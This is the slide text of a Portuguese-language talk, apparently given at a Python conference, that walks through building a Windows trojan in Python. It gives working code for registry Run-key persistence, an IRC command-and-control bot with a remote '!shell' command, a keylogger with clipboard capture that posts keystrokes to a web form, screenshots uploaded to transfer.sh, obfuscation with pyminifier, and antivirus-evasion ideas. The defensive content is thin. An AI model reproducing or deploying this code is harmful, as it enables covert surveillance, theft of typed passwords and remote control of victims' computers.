Slide 1

Slide 1 text

Olá! Eu sou Yan Orestes Produtor de conteúdo na 1 @yanorestes

Slide 2

Slide 2 text

Entendendo o funcionamento de um malware usando Python 2

Slide 3

Slide 3 text

O que é um malware? Vamos entender esse conceito 3

Slide 4

Slide 4 text

Malware 4 malicious software software malicioso

Slide 5

Slide 5 text

Não é só vírus! 5 Ransomware Vírus Worm Malware ...

Slide 6

Slide 6 text

Qual escolher? 6 Destrutivo Útil X

Slide 7

Slide 7 text

Cavalo de Troia Dando o máximo de possibilidades para o atacante através do Command & Control (C&C) 7

Slide 8

Slide 8 text

Como? 8

Slide 9

Slide 9 text

Como? Python 9

Slide 10

Slide 10 text

Como? Python Por quê? 10

Slide 11

Slide 11 text

Como? Python Por quê? Por que não? 11

Slide 12

Slide 12 text

Vítima Windows (8) 12

Slide 13

Slide 13 text

Um vírus ineficiente destrói seu portador. Um vírus esperto fica com ele. 13 - James Lovelock

Slide 14

Slide 14 text

Garantindo a execução contínua do malware 14 1.

Slide 15

Slide 15 text

Escondendo o malware em outros programas Fácil de programar Pouca efetividade 15

Slide 16

Slide 16 text

Modificando o Registro do Windows 16 Efetivo Necessita privilégios de administrador

Slide 17

Slide 17 text

Registro 17 Chaves Subchaves

Slide 18

Slide 18 text

HKEY_LOCAL_MACHINE Run 18

Slide 19

Slide 19 text

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run 19

Slide 20

Slide 20 text

Como fazer isso no Python? 20

Slide 21

Slide 21 text

Como fazer isso no Python? ● winreg 21

Slide 22

Slide 22 text

Como fazer isso no Python? ● winreg ● os 22

Slide 23

Slide 23 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 23

Slide 24

Slide 24 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 24

Slide 25

Slide 25 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 25

Slide 26

Slide 26 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 26

Slide 27

Slide 27 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 27

Slide 28

Slide 28 text

1. from os.path import realpath 2. from winreg import * 3. 4. path_arquivo = realpath(__file__) 5. run = r'Software\Microsoft\Windows\CurrentVersion\Run' 6. try: 7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE) 8. except PermissionError: 9. # Não tá rodando como administrador :( 10. else: 11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo) 12. key.Close() 28

Slide 29

Slide 29 text

Como estabelecer a comunicação entre atacante e vítima? 29

Slide 30

Slide 30 text

Conectando a vítima ao atacante 30 2.

Slide 31

Slide 31 text

Conexão direta entre atacante e vítima Maior controle Maior vulnerabilidade 31

Slide 32

Slide 32 text

Usando serviços externos (como Twitter) Fácil de programar Menos controle 32

Slide 33

Slide 33 text

Conectando através de uma rede IRC Maior controle Difícil de configurar 33

Slide 34

Slide 34 text

IRC 34

Slide 35

Slide 35 text

Como fazer isso no Python? 35

Slide 36

Slide 36 text

Como fazer isso no Python? ● socket 36

Slide 37

Slide 37 text

1. import socket 2. class ConexaoAtacante: 3. def __init__(self, endereco_irc): 4. self.socket = socket.socket() 5. self.socket.connect(endereco_irc) 6. 7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667)) 37

Slide 38

Slide 38 text

1. import socket 2. class ConexaoAtacante: 3. def __init__(self, endereco_irc): 4. self.socket = socket.socket() 5. self.socket.connect(endereco_irc) 6. 7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667)) 38 Só isso?

Slide 39

Slide 39 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 39

Slide 40

Slide 40 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 40

Slide 41

Slide 41 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 41

Slide 42

Slide 42 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 42

Slide 43

Slide 43 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 43

Slide 44

Slide 44 text

1. import socket 2. import re 3. class ConexaoAtacante: 4. def __init__(self, endereco_irc, nick): 5. self.socket = socket.socket() 6. self.socket.connect(endereco_irc) 7. self.registra_usuario(nick) 8. self.nick = nick 9. 10. def envia_comando(self, cmd): 11. cmd += '\r\n' 12. self.socket.send(cmd.encode('utf8')) 13. 14. def recebe_comando(self): 15. msg = self.socket.recv(4096) 16. msg=msg.decode('utf8', errors='ignore') 17. self.responde_ping(msg) 18. return msg 19. def registra_usuario(self, nick): 20. self.envia_comando('NICK ' + nick) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick)) 22. 23. def responde_ping(self, msg): 24. match = re.match(PING :(.*)', msg) 25. if match: 26. pong = match.group(1) 27. self.envia_comando('PONG :' + pong) 44

Slide 45

Slide 45 text

1. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667), 'MalwareBot') 2. while True: 3. cmd = conexao.recebe_comando() 4. # tratar comando recebido Main Loop 45

Slide 46

Slide 46 text

Como tomar o controle do computador da vítima? 46

Slide 47

Slide 47 text

Executando comandos no computador da vítima 47 3.

Slide 48

Slide 48 text

Usando os.system() Muita simplicidade Pouca flexibilidade 48

Slide 49

Slide 49 text

Muita flexibilidade 49 Usando o módulo subprocess

Slide 50

Slide 50 text

Usando o módulo subprocess Muita flexibilidade Quê? 50

Slide 51

Slide 51 text

51

Slide 52

Slide 52 text

52

Slide 53

Slide 53 text

53 1. from subprocess import run, PIPE, STDOUT 2. 3. def roda_comando_no_shell(cmd): 4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT) 5. resposta = processo_completo.stdout.decode('utf8', errors='ignore') 6. return resposta

Slide 54

Slide 54 text

54 mas e a comunicação com o atacante? 1. from subprocess import run, PIPE, STDOUT 2. 3. def roda_comando_no_shell(cmd): 4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT) 5. resposta = processo_completo.stdout.decode('utf8', errors='ignore') 6. return resposta

Slide 55

Slide 55 text

55 1. class ConexaoAtacante: 2. # Código omitido 3. def parse_msg(self, msg): 4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg) 5. return match 6. 7. def recebe_comando(self): 8. msg = self.socket.recv(4096).decode('utf8', errors='ignore') 9. self.responde_ping(msg) 10. msg_match = self.parse_msg(msg) 11. if msg_match: 12. return msg_match.groups() 13. return None, None 14. # Código omitido

Slide 56

Slide 56 text

56 1. class ConexaoAtacante: 2. # Código omitido 3. def parse_msg(self, msg): 4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg) 5. return match 6. 7. def recebe_comando(self): 8. msg = self.socket.recv(4096).decode('utf8', errors='ignore') 9. self.responde_ping(msg) 10. msg_match = self.parse_msg(msg) 11. if msg_match: 12. return msg_match.groups() 13. return None, None 14. # Código omitido

Slide 57

Slide 57 text

57 1. class ConexaoAtacante: 2. # Código omitido 3. def parse_msg(self, msg): 4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg) 5. return match 6. 7. def recebe_comando(self): 8. msg = self.socket.recv(4096).decode('utf8', errors='ignore') 9. self.responde_ping(msg) 10. msg_match = self.parse_msg(msg) 11. if msg_match: 12. return msg_match.groups() 13. return None, None 14. # Código omitido

Slide 58

Slide 58 text

58 1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot') 2. comandos = {'!shell':roda_comando_no_shell} 3. re_comandos = '|'.join(comandos.keys()) 4. while True: 5. nick_recebido, cmd = conexao.recebe_comando() 6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd) 7. if cmd_match: 8. cmd_tipo, args = cmd_match.groups() 9. resposta = comandos[cmd_tipo](args) 10. else: 11. resposta = 'Comando não encontrado' 12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

Slide 59

Slide 59 text

59 1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot') 2. comandos = {'!shell':roda_comando_no_shell} 3. re_comandos = '|'.join(comandos.keys()) 4. while True: 5. nick_recebido, cmd = conexao.recebe_comando() 6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd) 7. if cmd_match: 8. cmd_tipo, args = cmd_match.groups() 9. resposta = comandos[cmd_tipo](args) 10. else: 11. resposta = 'Comando não encontrado' 12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

Slide 60

Slide 60 text

60 1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot') 2. comandos = {'!shell':roda_comando_no_shell} 3. re_comandos = '|'.join(comandos.keys()) 4. while True: 5. nick_recebido, cmd = conexao.recebe_comando() 6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd) 7. if cmd_match: 8. cmd_tipo, args = cmd_match.groups() 9. resposta = comandos[cmd_tipo](args) 10. else: 11. resposta = 'Comando não encontrado' 12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

Slide 61

Slide 61 text

61 1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot') 2. comandos = {'!shell':roda_comando_no_shell} 3. re_comandos = '|'.join(comandos.keys()) 4. while True: 5. nick_recebido, cmd = conexao.recebe_comando() 6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd) 7. if cmd_match: 8. cmd_tipo, args = cmd_match.groups() 9. resposta = comandos[cmd_tipo](args) 10. else: 11. resposta = 'Comando não encontrado' 12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

Slide 62

Slide 62 text

62 1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot') 2. comandos = {'!shell':roda_comando_no_shell} 3. re_comandos = '|'.join(comandos.keys()) 4. while True: 5. nick_recebido, cmd = conexao.recebe_comando() 6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd) 7. if cmd_match: 8. cmd_tipo, args = cmd_match.groups() 9. resposta = comandos[cmd_tipo](args) 10. else: 11. resposta = 'Comando não encontrado' 12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

Slide 63

Slide 63 text

Capturando dados do usuário em tempo real 63 4.

Slide 64

Slide 64 text

Capturando teclas digitadas (keylogger) 64

Slide 65

Slide 65 text

Como fazer isso no Python? 65

Slide 66

Slide 66 text

Como fazer isso no Python? ● keyboard https://github.com/boppreh/keyboard 66

Slide 67

Slide 67 text

Como fazer isso no Python? ● keyboard ● requests http://docs.python-requests.org/en/master / 67

Slide 68

Slide 68 text

Como fazer isso no Python? ● keyboard ● requests ● pyperclip https://github.com/asweigart/pyperclip 68

Slide 69

Slide 69 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name)) 69

Slide 70

Slide 70 text

Hello, world! 70 1. import keyboard 2. 3. teclas_apertadas = [] 4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))

Slide 71

Slide 71 text

Hello, world! shiftHello,spaceworldshift! 71 1. import keyboard 2. 3. teclas_apertadas = [] 4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))

Slide 72

Slide 72 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. teclas_especiais = {'space':' ', 'enter':'\n'} 5. 6. def trata_tecla(k): 7. if 'shift' in k.modifiers: 8. teclas_apertadas.pop() 9. tecla = k.nome 10. if len(tecla) > 1: 11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla)) 12. teclas_apertadas.append(tecla) 13. 14. keyboard.on_press(trata_tecla) 72

Slide 73

Slide 73 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. teclas_especiais = {'space':' ', 'enter':'\n'} 5. 6. def trata_tecla(k): 7. if 'shift' in k.modifiers: 8. teclas_apertadas.pop() 9. tecla = k.nome 10. if len(tecla) > 1: 11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla)) 12. teclas_apertadas.append(tecla) 13. 14. keyboard.on_press(trata_tecla) 73

Slide 74

Slide 74 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. teclas_especiais = {'space':' ', 'enter':'\n'} 5. 6. def trata_tecla(k): 7. if 'shift' in k.modifiers: 8. teclas_apertadas.pop() 9. tecla = k.nome 10. if len(tecla) > 1: 11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla)) 12. teclas_apertadas.append(tecla) 13. 14. keyboard.on_press(trata_tecla) 74

Slide 75

Slide 75 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. teclas_especiais = {'space':' ', 'enter':'\n'} 5. 6. def trata_tecla(k): 7. if 'shift' in k.modifiers: 8. teclas_apertadas.pop() 9. tecla = k.nome 10. if len(tecla) > 1: 11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla)) 12. teclas_apertadas.append(tecla) 13. 14. keyboard.on_press(trata_tecla) 75

Slide 76

Slide 76 text

1. import keyboard 2. 3. teclas_apertadas = [] 4. teclas_especiais = {'space':' ', 'enter':'\n'} 5. 6. def trata_tecla(k): 7. if 'shift' in k.modifiers: 8. teclas_apertadas.pop() 9. tecla = k.nome 10. if len(tecla) > 1: 11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla)) 12. teclas_apertadas.append(tecla) 13. 14. keyboard.on_press(trata_tecla) 76 e como o atacante acessa isso?

Slide 77

Slide 77 text

1. from requests import post 2. 3. url_form = #linkParaForm# 4. def trata_tecla(k): 5. # Código omitido 6. if len(teclas_apertadas) >= 100: 7. texto_digitado = ''.join(teclas_apertadas) 8. teclas_apertadas.clear() 9. post(url_form, {'entry.1269107664':texto_digitado}) 77

Slide 78

Slide 78 text

1. from requests import post 2. 3. url_form = #linkParaForm# 4. def trata_tecla(k): 5. # Código omitido 6. if len(teclas_apertadas) >= 100: 7. texto_digitado = ''.join(teclas_apertadas) 8. teclas_apertadas.clear() 9. post(url_form, {'entry.1269107664':texto_digitado}) 78

Slide 79

Slide 79 text

1. from requests import post 2. 3. url_form = #linkParaForm# 4. def trata_tecla(k): 5. # Código omitido 6. if len(teclas_apertadas) >= 100: 7. texto_digitado = ''.join(teclas_apertadas) 8. teclas_apertadas.clear() 9. post(url_form, {'entry.1269107664':texto_digitado}) 79

Slide 80

Slide 80 text

80 1. from requests import post 2. 3. url_form = #linkParaForm# 4. def trata_tecla(k): 5. # Código omitido 6. if len(teclas_apertadas) >= 100: 7. texto_digitado = ''.join(teclas_apertadas) 8. teclas_apertadas.clear() 9. post(url_form, {'entry.1269107664':texto_digitado})

Slide 81

Slide 81 text

Toque de ouro 81

Slide 82

Slide 82 text

Toque de ouro 1. from pyperclip import paste 2. 3. def trata_copypaste(): 4. texto_copiado = paste() 5. teclas_apertadas.extend(list(texto_copiado)) 6. 7. keyboard.add_hotkey('ctrl+c', trata_copypaste) 82

Slide 83

Slide 83 text

Capturando a tela da vítima 83

Slide 84

Slide 84 text

Como fazer isso no Python? 84

Slide 85

Slide 85 text

Como fazer isso no Python? ● pyscreenshot https://github.com/ponty/pyscreensho t 85

Slide 86

Slide 86 text

Como fazer isso no Python? ● pyscreenshot ● os 86

Slide 87

Slide 87 text

Como fazer isso no Python? ● pyscreenshot ● os ● requests 87

Slide 88

Slide 88 text

1. from pyscreenshot import grab_to_file 2. 3. def tira_screenshot(filename): 4. grab_to_file(filename) 88

Slide 89

Slide 89 text

1. from pyscreenshot import grab_to_file 2. 3. def tira_screenshot(filename): 4. grab_to_file(filename) 5. 6. comandos = {'!shell': roda_comando_no_shell, '!screenshot': tira_screenshot} 89

Slide 90

Slide 90 text

1. from pyscreenshot import grab_to_file 2. 3. def tira_screenshot(filename): 4. grab_to_file(filename) 5. 6. comandos = {'!shell': roda_comando_no_shell, '!screenshot': tira_screenshot} 90 e como o atacante acessa isso?

Slide 91

Slide 91 text

1. from pyscreenshot import grab_to_file 2. from requests import post 3. 4. def tira_screenshot(filename): 5. grab_to_file(filename) 6. with open(filename, 'rb') as f: 7. r = post('https://transfer.sh', files={filename: f}) 8. resposta = r.text if r.status_code == 200 else 'Erro no upload' 9. return resposta 91

Slide 92

Slide 92 text

1. from pyscreenshot import grab_to_file 2. from requests import post 3. 4. def tira_screenshot(filename): 5. grab_to_file(filename) 6. with open(filename, 'rb') as f: 7. r = post('https://transfer.sh', files={filename: f}) 8. resposta = r.text if r.status_code == 200 else 'Erro no upload' 9. return resposta 92

Slide 93

Slide 93 text

1. from os import remove 2. from pyscreenshot import grab_to_file 3. from requests import post 4. 5. def tira_screenshot(filename): 6. grab_to_file(filename) 7. with open(filename, 'rb') as f: 8. r = post('https://transfer.sh', files={filename: f}) 9. resposta = r.text if r.status_code == 200 else 'Erro no upload' 10. return resposta 11. remove(filename) 93

Slide 94

Slide 94 text

Extra! 94

Slide 95

Slide 95 text

Ofuscação de código 95 5.

Slide 96

Slide 96 text

Compilar para bytecode Fácil Facilmente recuperável 96

Slide 97

Slide 97 text

Usando pyminifier Divertido Recuperável 97

Slide 98

Slide 98 text

98 Usando pyminifier 1. pyminifier -O -o nivel1.py malware.py

Slide 99

Slide 99 text

99 Usando pyminifier 1. pyminifier -O -o nivel1.py malware.py 2. pyminifier -O --nonlatin -o nivel2.py malware.py

Slide 100

Slide 100 text

100 Usando pyminifier 1. pyminifier -O -o nivel1.py malware.py 2. pyminifier -O --nonlatin -o nivel2.py malware.py 3. pyminifier -O --nonlatin --replacement-length=100 -o nivel3.py malware.py

Slide 101

Slide 101 text

101 Usando pyminifier 1. pyminifier -O -o nivel1.py malware.py 2. pyminifier -O --nonlatin -o nivel2.py malware.py 3. pyminifier -O --nonlatin --replacement-length=100 -o nivel3.py malware.py 4. pyminifier -O --nonlatin --replacement-length=100 --gzip -o nivel4.py malware.py

Slide 102

Slide 102 text

Escalonamento de privilégios 102 6.

Slide 103

Slide 103 text

Escalonamento de privilégios 103 6. ● Brute force

Slide 104

Slide 104 text

Escalonamento de privilégios 104 6. ● Brute force ● Injeção de código

Slide 105

Slide 105 text

105 E como o usuário pode se proteger?

Slide 106

Slide 106 text

Precaução 106

Slide 107

Slide 107 text

Controle das conexões 107

Slide 108

Slide 108 text

Antivírus? 108

Slide 109

Slide 109 text

109 O melhor antivírus é o bom senso - Anônimo entendedor de tudo

Slide 110

Slide 110 text

110 O melhor antivírus é o bom senso - Anônimo entendedor de tudo Será?

Slide 111

Slide 111 text

Antivírus são insuportáveis 111

Slide 112

Slide 112 text

Antivírus são insuportáveis 112 Taxas de renovação inesperadas

Slide 113

Slide 113 text

Antivírus são insuportáveis 113 Taxas de renovação inesperadas Problemas com o sistema

Slide 114

Slide 114 text

Antivírus são insuportáveis 114 Taxas de renovação inesperadas Problemas com o sistema aaaaaaaaaaaaaaaaaaaaaaaaa

Slide 115

Slide 115 text

2010 - Caso McAfee 115

Slide 116

Slide 116 text

2010 - Caso McAfee 116 2011 - Caso MSE

Slide 117

Slide 117 text

2010 - Caso McAfee 117 2011 - Caso MSE 2012 - Caso Sophos

Slide 118

Slide 118 text

Efetividade baixa 118 2006 - 40-50% 2007 - 20-30%

Slide 119

Slide 119 text

Efetividade baixa? 119 2006 - 40-50% 2007 - 20-30% 2013 - 91.1-99.9%

Slide 120

Slide 120 text

120 Humanos falham

Slide 121

Slide 121 text

A não ser que você... 121 ● Não compartilhe arquivos e/ou links com ninguém ● Não permita que ninguém além de você use seu computador ● Não use a Internet para compras, entretenimento adulto ou jogos online ● Nunca utilize uma rede WiFi pública ● Não compartilhe o seu WiFi privado com ninguém ● Nunca clique em nenhuma propaganda ● Utilize senhas extremamente seguras e nunca repete nenhuma ● Não utilize um smartphone ● Não faça download de nada pela Internet

Slide 122

Slide 122 text

A não ser que você... 122 ● Não compartilhe arquivos e/ou links com ninguém ● Não permita que ninguém além de você use seu computador ● Não use a Internet para compras, entretenimento adulto ou jogos online ● Nunca utilize uma rede WiFi pública ● Não compartilhe o seu WiFi privado com ninguém ● Nunca clique em nenhuma propaganda ● Utilize senhas extremamente seguras e nunca repete nenhuma ● Não utilize um smartphone ● Não faça download de nada pela Internet ● Não utilize um sistema operacional

Slide 123

Slide 123 text

Proteção contra antivírus 123 7. ●

Slide 124

Slide 124 text

Proteção contra antivírus 124 7. ● Assinatura => Código polimórfico

Slide 125

Slide 125 text

Proteção contra antivírus 125 7. ● Assinatura => Código polimórfico ● Sandbox => Detecção (mouse) https://github.com/boppreh/mouse/

Slide 126

Slide 126 text

Proteção contra antivírus 126 7. ● Assinatura => Código polimórfico ● Sandbox => Detecção (mouse) ● Método heurístico => ?

Slide 127

Slide 127 text

Muito obrigado! Alguma pergunta? Você pode falar comigo em ▪ @yanorestes ▪ [email protected] 127 https://speakerdeck.com/yanorestes/criando-um-malware-com-python

Slide 128

Slide 128 text

Agradecimentos especiais ▪ Python Brasil ▪ Roosevelt Fujikawa ([email protected]) ▪ Alura/Caelum ▪ Casa do Código (PythonBrasil&CasadoCodigo) 128 15%

Slide 129

Slide 129 text

Design da apresentação Essa apresentação usa as seguintes fontes: ▪ Títulos: Work sans bold ▪ Corpo: Work sans light ▪ Código: Arial com formatação do tohtml.com Você pode baixar as fontes nessa página https://github.com/weiweihuanghuang/Work-Sans/tree/master/fonts/desktop 129 Layout dos slides e ícones por SlidesCarnival